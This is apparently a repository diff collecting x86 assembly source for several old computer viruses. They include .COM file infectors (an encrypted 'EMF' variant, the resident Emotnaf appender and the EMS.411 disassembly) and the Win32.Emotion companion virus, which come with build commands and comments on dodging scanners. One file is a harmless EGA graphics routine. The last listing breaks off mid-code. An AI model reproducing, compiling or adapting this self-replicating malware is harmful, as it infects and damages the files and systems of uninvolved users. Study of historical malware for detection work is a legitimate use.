MOV DX,SI ; Set DX to file spec.
POP SI ; Restore SI
DEC AX ;
AGAIN: ADD AH,4Fh ; Search for (next) file
INT 21h ; and exit if non found.
JC EXIT ;
MOV DI,SI ; Put SI in DI
MOV AH,3Eh ; Close open file. (also
CALL OPEN ; nice anti-debug trick!)
MOV AH,3Fh ; Read first 3 bytes.
CALL IO ;
CMP BYTE PTR [DI],0E9h ; Next file if first instr.
JE AGAIN ; is a JMP FAR. (marker)
MOV AX,4202h ;
XOR CX,CX ; Goto EOF.
CWD ;
INT 21h ;
SUB AX,3 ;
ADD DI,8 ; Set JMP to virus.
MOV WORD PTR DS:[DI],AX ;
MOV AH,40h ;
MOV CL,LEN ; Write virus and open
MOV DX,DI ; file again.
SUB DX,(OLD_BYTES - VX) + 8 ;
CALL OPEN ;
DEC DI ; Write JMP
MOV AH,40h ;
IO:
MOV CL,3 ;
MOV DX,DI ; Read or write 3 bytes.
INT 21h ;
EXIT:
RET ; Start carrier program.
OPEN:
INT 21h ;
MOV AX,3D02h ;
MOV DX,9Eh ; Open file.
INT 21h ;
XCHG BX,AX ;
RET
OLD_BYTES: NOP ;
NOP ; First 3 bytes of carrier
RET ; program.
FILE_NAME: DB '*.*',0h ; File to search for (all)
NEW_BYTES DB 0E9h ; JMP to virus buffer.
THE_END:
_CODE ENDS
END START

@@ -0,0 +1,172 @@
;
; grafix --- egagrafa.asm
;
; stuff to plot points fast in 8086 assembler (BLEECH!!!)
;
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
;
; Modified 5/29/87 by sss to allow for different memory models
;
title egagrafa
include macros.ah
sseg
endss
g_linsiz equ 80
g_pixbyte equ 8
ega_gr_data equ 03cfh
dseg
ex g_drawbuf, dword
ex g_xor, word
ex g_xcliplo, word
ex g_xcliphi, word
ex g_ycliplo, word
ex g_ycliphi, word
endds
exProc EGA_point_set
exProc EGA_point_res
cseg _egagrafa
EGA_plot label byte ; to get accurate profiling data
; plot a point. ax = y; bl = c; cx = x;
pBegin plot
les si, g_drawbuf ; get address of buffer
mov dx, g_linsiz ; y * g_linsiz
mul dx
add si, ax ; add to offset
mov ax, cx ; x to AC (ohhh... what symmetry!)
mov cx, g_pixbyte ; move it to use it...
div cx
add si, ax ; add quotient to offset (now complete)
mov al, 80h ; make mask
mov cx, dx
shr ax, cl ; shift it
mov dx, ega_gr_data ; shove it out to the mask register
out dx, al
mov al, es:[si] ; read data into latches
mov es:[si], al ; and do a write
ret
pEnd plot
;
; C interface for point plotter
;
; EGA_point(x, y, c)
;
pBegin EGA_point
push bp
mov bp, sp
push si
push di
push [bp+argbase+4] ; call setup routine
call EGA_point_set
add sp, 2
mov ax, [bp+argbase+2]
mov bx, [bp+argbase+4]
mov cx, [bp+argbase]
call plot
call EGA_point_res ; reset EGA
pop di
pop si
mov sp, bp
pop bp
ret
pEnd EGA_point
;
; write for pixels for circle drawing
;
; void EGA_write_pix(x1, y1, x2, y2, c)
;
; can just ignore color here 'cause that's all setup at setup time...
;
pBegin EGA_write_pix
push bp
mov bp, sp
push si
push di
mov cx, [bp+argbase] ; cx = x1
cmp cx, g_xcliplo ; check for clipping
jb w2
cmp cx, g_xcliphi
ja w2
mov ax, [bp+argbase+2] ; ax = y1
cmp ax, g_ycliplo ; do clipping
jb w1
cmp ax, g_ycliphi
ja w1
push cx ; plot (x1, y1)
call plot
pop cx
w1: mov ax, [bp+argbase+6] ; ax = y2
cmp ax, g_ycliplo
jb w2
cmp ax, g_ycliphi
ja w2
call plot ; plot (x1, y2)
w2: mov cx, [bp+argbase+4] ; cx = x2
cmp cx, g_xcliplo
jb w4
cmp cx, g_xcliphi
ja w4
mov ax, [bp+argbase+2] ; ax = y1
cmp ax, g_ycliplo ; do clipping
jb w3
cmp ax, g_ycliphi
ja w3
push cx ; plot (x2, y1)
call plot
pop cx
w3: mov ax, [bp+argbase+6] ; ax = y2
cmp ax, g_ycliplo
jb w4
cmp ax, g_ycliphi
ja w4
call plot ; plot (x2, y2)
w4: pop di
pop si
mov sp, bp
pop bp
ret
pEnd EGA_write_pix
df_ EGA_point
df_ EGA_write_pix
df_ EGA_plot
endcs _egagrafa
end
+271
View File
@@ -0,0 +1,271 @@
DATA SEGMENT
ORG 100H
DATA ENDS
; The EMF virus (c)1991 by Lazarus Long, Inc.
; The author assumes no responsibility for any damage incurred
; from the execution of this file, intentional or not
;
START:
JMP VIRUS_START
ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is
;Encrypted by
;------------------------------------------------------------------------------;
;The code from here to ENC_START is always unencrypted and SCAN would be able ;
;to find it. Maybe a quick look at V2P7 would be in order (Hint,Hint!) ;
;------------------------------------------------------------------------------;
VIRUS_START:
CALL NEXT_STEP
NEXT_STEP:
POP BP ;All actions relative to BP,
IN AL,21H ;Lock out keyboard
PUSH AX
OR AL,2
OUT 21H,AL
MOV CX,ENC_LENGTH ;Number of bytes to decrypt ;cause offsets
LEA SI,[BP+OFFSET ENC_START-NEXT_STEP] ;Offset of data to decrypt ;change in infected files
MOV DL,[103H] ;Byte to decrypt with
CALL CRYPT ;Decrypt main body of virus
CALL RESTORE_EIGHT
JMP SAVE_PSP ;Continue
INFECT:
CALL CRYPT_WRITE
MOV AH,40H
MOV DX,BP ;Starting from BP-3
SUB DX,3 ;Which,convienently,is the start
MOV CX,ENC_END-108H ;of our viral code
INT 21H ;Write all of virus
CALL CRYPT_WRITE ;Return and continue
RET
CRYPT_WRITE:
MOV CX,ENC_LENGTH ;Number of bytes to decrypt
LEA SI,[BP+ OFFSET ENC_START - NEXT_STEP] ;Address to start decryption
MOV DL,[0FBH] ;Byte to decrypt with
CALL CRYPT
RET
;******************************************************************************;
;Call this with SI equal to address to XOR,and CX number of bytes to XOR :
; ;
;******************************************************************************;
CRYPT:
XOR BYTE PTR [SI],DL ;XOR it
INC SI ;Increment XOR address
INC DL ;Change encryption key,eh?
NOT DL ;Reverse the key
LOOP CRYPT ;Until CX=0
RET ;Then return
;******************************************************************************;
; Save PSP ;
;******************************************************************************;
ENC_START EQU $
SAVE_PSP:
MOV AH,30H ;Get DOS version
INT 21H
CMP AL,2 ;Lower than 2?
JNB ABOVE_2 ;No,continue
CALL RESTORE_EIGHT
MOV SI,100H ;If so return
PUSH SI
RET 0FFFFH
ABOVE_2:
PUSH ES ;Save ES
MOV AX,3524H ;Get INT 24 address
INT 21H
MOV [BP+OLD_B-NEXT_STEP],BX ;Save it
MOV [BP+OLD_E-NEXT_STEP],ES
MOV AH,25H ;Now set it to our own code
LEA DX,[BP+NEW_24-NEXT_STEP]
INT 21H
POP ES ;Restore ES
MOV CX,128 ;Number of bytes to save
MOV SI,80H ;From 80H. ie the PSP
LEA DI,[BP+ENC_END-NEXT_STEP] ;To the end of our code
PUSH DI ;Save location so we can restore the bytes
REP MOVSB ;Mov'em
;------------------------------------------------------------------------------; ;
; Find first .COM file that is either Hidden,read-only,system,or archive ;
;------------------------------------------------------------------------------;
FIND_FIRST:
LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.COM,00
MOV CX,27H ;Find ANY file that fits *.COM
MOV AH,4EH ;Find first matching file
INT 21H
JC QUIT ;If no *.COM files found,quit
JMP SET_ATTRIBS
FIND_AGAIN:
LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.com
MOV AH,4FH ;Find next matching file
MOV CX,27H ;Archive,Hidden,Read-only,or System
INT 21H
JC QUIT ;No more files? Then exit
SET_ATTRIBS:
MOV AX,[096H] ;Get time
AND AL,1EH ;Are the seconds set to 60?
CMP AL,1EH ;
JZ FIND_AGAIN ;If so,assume this file is infected,find another
;------------------------------------------------------------------------------;
; Open file and infect it. ;
; ;
;------------------------------------------------------------------------------;
MOV DX,9EH ;offset into DTA of filename
MOV AX,4301H ;Set file attribs
XOR CX,CX ;To normal file
INT 21H
JC QUIT ;Some sort of error occured,exit now!
MOV AX,3D02H ;Code for open file with read and write
;access
INT 21H ;DX points to ASCIIZ string of filename
MOV CX,04 ;Read four bytes
MOV BX,AX ;Save handle for future use
MOV DX,0ACH ;Set buffer to end of DTA
MOV AH,3FH ;Read from file
INT 21H
JMP MAKE_HEADER
QUIT:
JMP DONE
;------------------------------------------------------------------------------;
; Infect .COM header so it jumps to our viral code ;
;------------------------------------------------------------------------------;
MAKE_HEADER:
MOV [0F9H],[9AH] ;Offset off file size in DTA
MOV [0F8H]B,0E9H ;Code for absolute JMP
SUB WORD PTR [0F9H],2 ;Adjust it just a bit
MOV AX,4200H ;Set file pointer to beginning
;of file to be infected
XOR CX,CX ;Zero out CX
XOR DX,DX ;Zero out DX
INT 21H
MOV AH,2CH ;Get time
INT 21H
ADD DL,[104H] ;And add to what we had before
MOV [0FBH],DL ;Save that value for our key
MOV AH,40H ;Write to file
MOV DX,0F8H ;Starting at F8 hex
MOV CX,04H ;Write eight bytes
INT 21H
ERROR:
JC DONE ;Some sort of error?
;If so,exit
;------------------------------------------------------------------------------;
; Attach our viral code to the end of the target .COM file ;
; ;
;------------------------------------------------------------------------------;
MOV SI,0ACH ;Starting at A9h
MOV CX,04 ;Mov eight bytes
LEA DI,[BP+ORIGINAL_EIGHT-NEXT_STEP];Where to save original eight bytes to
REP MOVSB ;Save infected files original eight bytes
MOV AX,4202H ;Set file pointer to end of file
;plus 1
XOR CX,CX ;Zero CX
MOV DX,1 ;Make DX=1
INT 21H
CALL INFECT ;Encrypt code, write it to file,
;Decrypt it,and return
;------------------------------------------------------------------------------;
; This restores the files original date and time ;
;------------------------------------------------------------------------------;
MOV AX,5701H ;Restore original date and time
MOV CX,[96H] ;From what was read in earlier
MOV DX,[98H]
AND CX,0FFE0H
OR CX,01EH ;Change seconds to 60
INT 21H
MOV AH,3EH ;Close that file
INT 21H
CALL RESTORE_ATTRIBS ;Restore it's attributes
DONE:
RESTORE_PSP:
PUSH DS ;Save the DS register
MOV DX,[BP+OLD_B-NEXT_STEP]W ;Move the old INT 24's address
MOV DS,[BP+OLD_E-NEXT_STEP]W ;so we can restore it
MOV AX,2524H ;Restore it
INT 21H
POP DS ;Restore the DS register
POP SI ;SI is equal to address we stored
;our PSP at
MOV DI,80H ;Want to move saved PSP to 80h
MOV CX,128 ;Want to move 128 bytes
REP MOVSB
MOV SI,100H ;Odd sort of jump
POP AX
PUSH SI ;Ends up restoring control to
;100h
OUT 21H,AL ;Unlock keyboard
RET 0FFFFH ;Pop off all of stack
RESTORE_EIGHT:
LEA SI,[BP+ORIGINAL_EIGHT-NEXT_STEP] ;Restore original eight bytes so we
;can RET
MOV DI,100H ;Destination of move
MOV CX,04 ;Move eight bytes
REP MOVSB
RET
RESTORE_ATTRIBS:
;------------------------------------------------------------------------------;
; This routine restores the files original attributes. ;
;------------------------------------------------------------------------------;
MOV AX,4301H ;Restore original attribs
XOR CX,CX ;Zero out CX
MOV CL,[95H] ;To what was read in earlier
MOV DX,09EH ;Offset of filename
INT 21H
RET
NEW_24:
XOR AX,AX ;Any error will simply be ignored
STC ;Most useful for write protects
IRET
OLD_E EQU $
OLD_ES DW 00 00
OLD_B EQU $
OLD_BX DW 00 00
ORIGINAL_EIGHT EQU $
OLD_EIGHT_BYTES DB ,0CDH,20H,00,00 ;Bytes that are moved
;and RET'd to
WILD_CARD EQU $
FILESPEC DB '*.COM',00
;------------------------------------------------------------------------------
;This is just some generic text. Don't be a lamer and change the text and claim
;it was your own creation.
;------------------------------------------------------------------------------
TEXT DB 'Screaming Fist (c)10/91'
ENC_END EQU $
ENC_LENGTH = ENC_END - ENC_START ;Length of code to be encrypted
@@ -0,0 +1,263 @@
comment *
Win32.Emotion ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
Win32.Emotion is a 4608 bytes direct action companion EXE virus. Infects
every file in current directory and Windows directory, when executed, by
moving the original EXE file to a BIN file by the same name and overwriting
the original EXE file with the virus.
Compile Win32.Emotion with Turbo Assembler v 5.0 by typing:
TASM32 /M /ML EMOTION.ASM
TLINK32 -Tpe -x -aa EMOTION.OBJ,,, IMPORT32
VGALIGN EMOTION.EXE
PEWRSEC EMOTION.EXE
*
jumps
locals
.386
.model flat
; KERNEL32.dll
extrn ExitProcess:proc
extrn GetModuleHandleA:proc
extrn FindNextFileA:proc
extrn GetCommandLineA:proc
extrn FindFirstFileA:proc
extrn CopyFileA:proc
extrn GetSystemTime:proc
extrn GetWindowsDirectoryA:proc
extrn MoveFileA:proc
extrn SetCurrentDirectoryA:proc
extrn WinExec:proc
extrn GetModuleFileNameA:proc
; USER32.dll
extrn SwapMouseButton:proc
extrn MessageBoxA:proc
.data
MAX_PATH equ 104h
NULL equ 00h
TRUE equ 01h
MB_ICONHAND equ 10h ; A stop-sign icon appears in the
; message box
SW_SHOWNORMAL equ 01h ; Activates and displays a window
INVALID_HANDLE_VALUE equ -01h
FALSE equ 00h
SYSTEMTIME struct
wYear WORD ? ; Specifies the current year
wMonth WORD ? ; Specifies the current month;
; January = 1, February = 2, and so on
wDayOfWeek WORD ? ; Specifies the current day of the
; week
wDay WORD ? ; Specifies the current day of the
; month
wHour WORD ? ; Specifies the current hour
wMinute WORD ? ; Specifies the current minute
wSecond WORD ? ; Specifies the current second
wMilliseconds WORD ? ; Specifies the current millisecond
ends
FILETIME struct
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
; the file time
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
; the file time
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes DWORD ? ; Specifies the file attributes of the
; file found
ftCreationTime FILETIME <> ; Specifies the time the file was
; created
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
; last accessed
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
; last written to
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
; of the file size, in bytes
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
; of the file size, in bytes
dwReserved0 DWORD ? ; Reserved for future use
dwReserved1 DWORD ? ; Reserved for future use
cFileName BYTE MAX_PATH dup(?)
; A null-terminated string that is the
; name of the file
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
; alternative name for the file
ends
db ?
.code
code_begin:
push NULL ; Get module handle of KERNEL32.dll
call GetModuleHandleA
push MAX_PATH ; Size of buffer, in characters
push offset cFilename ; Pointer to buffer for module path
push eax ; Handle to module to find filename
; for
call GetModuleFileNameA
jmp _FindFirstFileA
_GetWindowsDirectoryA:
push MAX_PATH ; Size of directory buffer
push offset cBuffer ; Address of buffer for Windows
; directory
call GetWindowsDirectoryA
push offset szCurDir ; Address of name of new current
; directory
call SetCurrentDirectoryA
mov [set_current_directory],TRUE
jmp _FindFirstFileA
_GetCommandLineA:
call GetCommandLineA
mov esi,eax ; ESI = pointer to the command-line
; string for the current process
lea edi,szCmdLine ; EDI = pointer to szCmdLine
move_commandline_loop:
stosb ; Store a byte of command-line
lodsb ; AL = a byte of command-line
or al,al ; End of command-line?
jnz move_commandline_loop ; Not zero? Jump to
; move_commandline_loop
mov eax,'.' ; Dot
lea edi,szCmdLine ; EDI = pointer to szCmdLine
mov ecx,MAX_PATH ; ECX = size of directory buffer
repne scasb ; Find the dot in the filename
mov dword ptr [edi],' nib' ; Change the extention of the filename
; to .BIN
mov word ptr [szCmdLine],' '
push offset SystemTime ; Address of system time structure
call GetSystemTime
cmp byte ptr [SystemTime.wMonth],05h
jne _WinExec ; May? Jump to _WinExec
cmp byte ptr [SystemTime.wDay],0dh
jne _WinExec ; 13th of May? Jump to _WinExec
push MB_ICONHAND ; A stop-sign icon appears in the
; message box
push offset szCaption ; Address of title of message box
push offset szText ; Address of text in message box
push NULL ; Message box has no owner window
call MessageBoxA
push TRUE ; Reverse buttons
call SwapMouseButton
_WinExec:
push SW_SHOWNORMAL ; Activates and displays a window
push offset szCmdLine ; Address of command-line
call WinExec
push 00h ; Exit code for all threads
call ExitProcess
_FindFirstFileA:
push offset FindFileData ; Address of returned information
push offset szFileName ; Address of name of file to search
; for
call FindFirstFileA
cmp eax,INVALID_HANDLE_VALUE
je function_failed ; Function failed? Jump to
; function_failed
lea edi,FindFileData ; EDI = pointer to FindFileData
lea esi,[edi+cFileName-WIN32_FIND_DATA]
push eax ; EAX = search handle
jmp move_filename
_FindNextFileA:
push edi ; EDI = pointer to FindFileData
lea edi,[edi+cFileName-WIN32_FIND_DATA]
mov ecx,0dh ; Store thirteen zeros
xor al,al ; Zero AL
rep stosb ; Store zero
lea edi,szNewFileName ; EDI = pointer to szNewFileName
mov ecx,0dh ; Store thirteen zeros
xor al,al ; Zero AL
rep stosb ; Store zero
pop edi ; EDI = pointer to FindFileData
pop eax ; EAX = search handle
push eax ; EAX = search handle
push edi ; Address of structure for data on
; found file
push eax ; Handle of search
call FindNextFileA
or eax,eax ; Function failed?
jz function_failed ; Zero? Jump to function_failed
lea edi,FindFileData ; EDI = pointer to FindFileData
lea esi,[edi+cFileName-WIN32_FIND_DATA]
jmp move_filename
function_failed:
cmp [set_current_directory],TRUE
je _GetCommandLineA ; Equal? Jump to _GetCommandLineA
jmp _GetWindowsDirectoryA
move_filename:
push edi ; EDI = pointer to FindFileData
lea si,[edi+cFileName-WIN32_FIND_DATA]
lea edi,szNewFileName ; EDI = pointer to szNewFileName
move_filename_loop:
lodsb ; AL = a byte of command-line
stosb ; Store a byte of command-line
or al,al ; End of command-line?
jnz move_filename_loop ; Not zero? Jump to move_filename_loop
xor eax,eax ; Zero EAX
lea edi,szNewFileName ; EDI = pointer to szNewFileName
mov ecx,41h ; Search through sixty-five characters
repne scasb ; Find end of filename
mov dword ptr [edi-04h],'nib'
pop edi ; EDI = pointer to FindFileData
push offset szNewFileName ; Address of new name for the file
lea eax,[edi+cFileName-WIN32_FIND_DATA]
push eax ; Address of name of the existing file
call MoveFileA
push FALSE ; If file already exists, overwrite it
lea eax,[edi+cFileName-WIN32_FIND_DATA]
push eax ; Address of filename to copy to
lea eax,szExistingFileName ; EAX = pointer to szExistingFileName
push eax ; Address of name of an existing file
call CopyFileA
jmp _FindNextFileA
code_end:
szFileName db '*.EXE',00h ; Name of file to search for
szCaption db 'w32.Emotion - By: Techno Phunk [TI]',00h
szText db 'A pool of emotions, beaten and abused.',0dh,0ah
db 'Who will swim in the stale waters? Not a one',0dh,0ah
db 'But many will scoff and destroy this pool with apathy',00h
szCurDir:
cBuffer db MAX_PATH dup(00h)
; Buffer for Windows directory
szNewFileName db MAX_PATH dup(00h)
; New name for the file
szExistingFileName:
szCmdLine:
cFilename db MAX_PATH dup(00h)
; Buffer for module path
SystemTime SYSTEMTIME <>
set_current_directory db FALSE
FindFileData WIN32_FIND_DATA <>
data_end:
end code_begin
@@ -0,0 +1,215 @@
; ------------------------------------------------------------------------- ;
; Emotnaf v1.1 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 23/06/98 | Finished: 00/00/00 ;
; `-------------------^------------------- ;
; v1.0 - Memory resident .com appender, infects upon execution | Size: 000 ;
; v1.1 - Experiment with new ways to write this code... `---------- ;
; v1.2 - restore time/date stamps and file attributes now ;
; v1.3 - makes sure it isnt a .exe renamed as a .com ;
; ------------------------------------------------------------------------- ;
; -> Dedicated to wicked music everywhere, like Rage Against The Machine <- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm emotnaf.asm ;
; to link :::::] tlink /t emotnaf.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign CS and DS to code
org 100h ; this be a .com file
.286 ; needed for pusha/popa
jumps ; save space wasted jumping
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
blank: db 0e9h,0,0 ; jump to start of code
start: call delta ; push IP on to stack
delta: pop bp ; pop it into bp
sub bp,offset delta ; get the delta offset
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
mov ax,0deadh ; check if already resident
int 21h ; if we are, bx = 0deadh now
cmp bx,0deadh ; does bx hold 0deadh ?
je first3 ; we are already resident!
sub word ptr cs:[2],80h ; lower top of PSP mem data
mov ax,cs ; move CS into AX
dec ax ; decrement AX
mov ds,ax ; move AX into DS
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
xor ax,ax ; xor the value in ax to 0
mov ds,ax ; move that value into DS
sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb
mov ax,word ptr ds:[413h] ; move adjusted BIOS data
mov cl,6 ; load cl with value of 6
shl ax,cl ; multiply BIOS mem by 64
mov es,ax ; move value into ES
push cs ; push value of code segment
pop ds ; into data segment register
xor di,di ; xor value in DI to 0
lea si,[bp+start] ; load the source index
mov cx,finished-start ; # of bytes to load up
rep movsb ; load virus into memory
xor ax,ax ; value in ax to 0
mov ds,ax ; move value into DS
lea ax,new21 ; point IVT to new ISR
sub ax,offset start ; subtract start offset
mov bx,es ; move es into bx
cli ; interrupts off
xchg ax,word ptr ds:[84h] ; switch old/new int 21h
xchg bx,word ptr ds:[86h] ; switch old/new int 21h
mov word ptr es:[oi21-offset start],ax ; save the old int 21h
mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h
sti ; interrupts on
push cs cs ; push code segment twice
pop ds es ; into DS and ES registers
first3: lea si,[bp+saved] ; load up the source index
mov di,100h ; load the destination index
push di ; push 100h on to the stack
movsw ; move two bytes now
movsb ; move one byte now
retn ; return control to host
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
new21: pushf ; push all flags
pusha ; push all registers
push ds ; push data segment register
push es ; push extra segment register
push bp ; save the delta offset
cmp ax,0deadh ; are we testing if resident?
je rezchk ; yes, show them we are rez
cmp ah,4bh ; something being executed?
je infect ; yes, infect the file
exit: pop bp ; restore the delta offset
pop es ; pop ES from the stack
pop ds ; pop DS from the stack
popa ; pop all registers
popf ; pop all flags
db 0eah ; jump to original ISR
oi21 dd ? ; old int 21 goes here
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
rezchk: mov bx,0deadh ; move check value into bx
jmp exit ; and go to original int 21h
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
infect: call tsrdel ; push IP on to stack again
tsrdel: pop bp ; pop it into bp
sub bp,offset tsrdel ; get the 2nd delta offset
push ds ; push DS on to stack
pop es ; pop it into es
mov di,dx ; move file handle into di
mov cx,64 ; 64 byte filename possible
mov al,'.' ; load al with the .
cld ; clear direction flag
repnz scasb ; scan until . is hit
cmp word ptr ds:[di],'OC' ; is the file .CO- ?
jne abort ; not it isn't, abort
cmp byte ptr ds:[di+2],'M' ; is the file .--M ?
jne abort ; no it isn't, abort
mov ax,4300h ; get file attributes
int 21h ; attributes in cx now
push cx ; save the attributes
push dx ; save the file handle
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; ready to open up now
mov ax,3d02h ; open the file read/write
int 21h ; open the file now
xchg bx,ax ; move the file handle
push cs cs ; push CS on to stack twice
pop ds es ; pop it into DS and ES
mov ax,5700h ; get time / date stamps
int 21h ; time in cx, date in dx
push cx ; save the time
push dx ; save the date
mov ah,3fh ; the read function
lea dx,[bp+saved] ; read the bytes to here
mov cx,3 ; read first three bytes
int 21h ; first three recorded
cmp word ptr [bp+saved],'ZM' ; check if renamed .exe
je close ; shit, this be a .exe!
cmp word ptr [bp+saved],'MZ' ; check if renamed .exe
je close ; shit, this be a .exe!
mov ax,4202h ; scan to end of file
xor cx,cx ; xor value of cx to 0
cwd ; likewize for dx
int 21h ; DX:AX = file size now!
cmp dx,0 ; is the file < 65,535 bytes?
jne close ; way to big, close it up
mov cx,word ptr [bp+saved+1] ; move saved+1 into cx
add cx,finished-start+3 ; virus size + jump
cmp ax,cx ; compare the two
jz close ; if equal, close it up
sub ax,3 ; get jump to virus body size
mov word ptr [bp+newjump+1],ax ; write as our new jump
mov ax,4200h ; point to start of file
xor cx,cx ; xor value of cx to 0
cwd ; likewize for dx
int 21h ; pointing to SOF
mov ah,40h ; write to file
lea dx,[bp+newjump] ; write the jump
mov cx,3 ; write three bytes
int 21h ; jump is written
mov ax,4202h ; point to end of file
xor cx,cx ; xor value of cx to 0
cwd ; likewize for dx
int 21h ; pointing to EOF
mov ah,40h ; write to file
lea dx,[bp+start] ; from the start of virus
mov cx,finished-start ; # of bytes to write
int 21h ; write them now
close: mov ax,5701h ; set time / date stamps
pop dx ; restore the date
pop cx ; restore the time
int 21h ; time / date restored
mov ah,3eh ; close up the file
int 21h ; file is closed
mov ax,4301h ; set file attributes
pop dx ; restore the file handle
pop cx ; restore the attributes
int 21h ; attributes restored
abort: jmp exit ; point to original ISR
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
saved db 0cdh,20h,0 ; our saved bytes
newjump db 0e9h,0,0 ; the soon to be jump
finished: ; end of the virus
code ends ; end code segment
end blank ; end / where to start
; ------------------------------------------------------------------------- ;
; --> Angels Are Just Assassins Of God, One Wing Always Dipped In Blood <-- ;
; ------------------------------------------------------------------------- ;
+214
View File
@@ -0,0 +1,214 @@
; EMS.411 Virus
; Dissassembly by Vecna/29A
.model tiny
.code
.386p
org 0
VirusStart:
jmp RealStart ; jump to real start of virus
HostCode:
int 20h ; code of the start of the host is
nop ; stored here
EMM db 'EMMXXXX0'
InfectJump:
db 0e9h ; this jump is written to begin
WhereIAm dw 0 ; of file
LowMemCode:
pushf
cmp byte ptr cs:[InUse-LowMemCode], 0
jnz Int21InUse ; if we're using int21, the bit is set
pusha
mov ax, 4400h
xor bx, bx
mov dx, cs:[Page_-LowMemCode]
int 67h ; map our page
popa
popf
db 09ah ; call our int21 handler in the EMS
dw offset Int21Handler
PageFrame dw 0000h
pusha
pushf
mov ax, 4400h
mov bx, 0FFFFh
mov dx, cs:[Page_-LowMemCode]
int 67h ; unmap out page
mov bp, sp
mov ax, [bp+0] ; get flag status after exec
mov [bp+16h], ax ; and put in the caller stack
popf
popa
iret
Page_ dw 0 ; number of our page
InUse db 0 ; this byte is set if we are using
; the int21
Int21InUse:
popf
db 0EAh ; jump to real int21
Old21:
dd 0
Int21Handler:
pushf
xchg ax, dx ; anti-heuristic
cmp dx, 4B00h
jz Infect ; infect on execute only
xchg ax, dx
call dword ptr cs:[Old21] ; do real call
retf
Infect:
popf
call ToggleFlag ; set flag warning we using int 21
xchg ax, dx
push ds
push dx
pushf
call dword ptr cs:[Old21] ; execute original function first
pushf
pusha
push ds
mov bp, sp
lds dx, [bp+14h] ; load DS:DX from the saved copy in
mov ax, 3D02h ; the stack, and open the file R/W
int 21h
xchg ax, bx
mov ah, 3Fh
mov cx, 3
push cs
pop ds
mov dx, offset HostCode ; read 3 bytes from file to our buffer
int 21h
mov ax, 4202h
cwd
xor cx, cx
int 21h ; seek to the end of the file
sub ax, 3 ; sub 3 for the jump
push ax
sub ax, (offset VEnd-offset VirusStart)
cmp ax, word ptr ds:[HostCode+1]; a possible jump in start of file
jz AlreadyInfected ; point to same place than we used to
mov ax, 'ZM' ; be? If yes, is already infected
cmp ax, word ptr ds:[HostCode]
jz AlreadyInfected ; file start with MZ (EXE file) ??
pop ax
mov word ptr ds:[WhereIAm], ax ; save position for jump
mov ah, 40h
mov cx, (offset VEnd-offset VirusStart)
cwd
int 21h ; write virus code to end of file
mov ax, 4200h
xor cx, cx
cwd
int 21h ; seek to start of file
mov ah, 40h
mov cx, 3
mov dx, offset InfectJump
int 21h ; write a jump to virus code
jmp short InfectionOk
AlreadyInfected:
add sp, 2 ; fix the stack
InfectionOk:
mov ah, 3Eh ; close file
int 21h
call ToggleFlag ; we're not using int21 anymore
pop ds
popa
push bp
mov bp, sp
lea sp, [bp+8] ; get returned AX and FLAGS
push ax
mov ax, [bp+2]
push ax
popf ; put they in right place
pop ax
mov bp, [bp+0]
retf
ToggleFlag:
push ax
push ds
mov ax, 24h ; set flag of int21 in use
mov ds, ax
xor byte ptr ds:[InUse-offset LowMemCode], 1
pop ds
pop ax
retn
RealStart:
pusha
mov bx, word ptr cs:[101h] ; 101 hold the offset part of the jump
add bx, 103h ; that we put in the start of host
call Install
mov di, si
lea si, [bx+3]
movsb ; restore old code
movsw
popa
jmp si ; jump to start of file
Install:
push bx
push si
push es
push ds
push bx
push bx
push ds
mov ax, 24h ; check if we are already in 24:0
mov ds, ax
cmp word ptr ds:[0], 2E9Ch ; PUSHF/CS:
pop ds
jz AlreadyInstalled
lea si, [bx+offset EMM]
mov ax, 3567h
int 21h ; get segment of EMM386
mov di, 0Ah
mov cx, 8
rep cmpsb ; is really EMM386?
jnz AlreadyInstalled
mov ah, 42h
int 67h ; Number of pages
cmp bx, 1
jl AlreadyInstalled ; less than 1, abort install
mov ah, 41h
int 67h ; get page frame
pop si
mov cs:[si+PageFrame], bx ; save it
mov es, bx
mov ah, 43h
mov bx, 1
int 67h ; allocate 1 page
mov cs:[si+Page_], dx
mov ax, 4400h
mov bx, 0
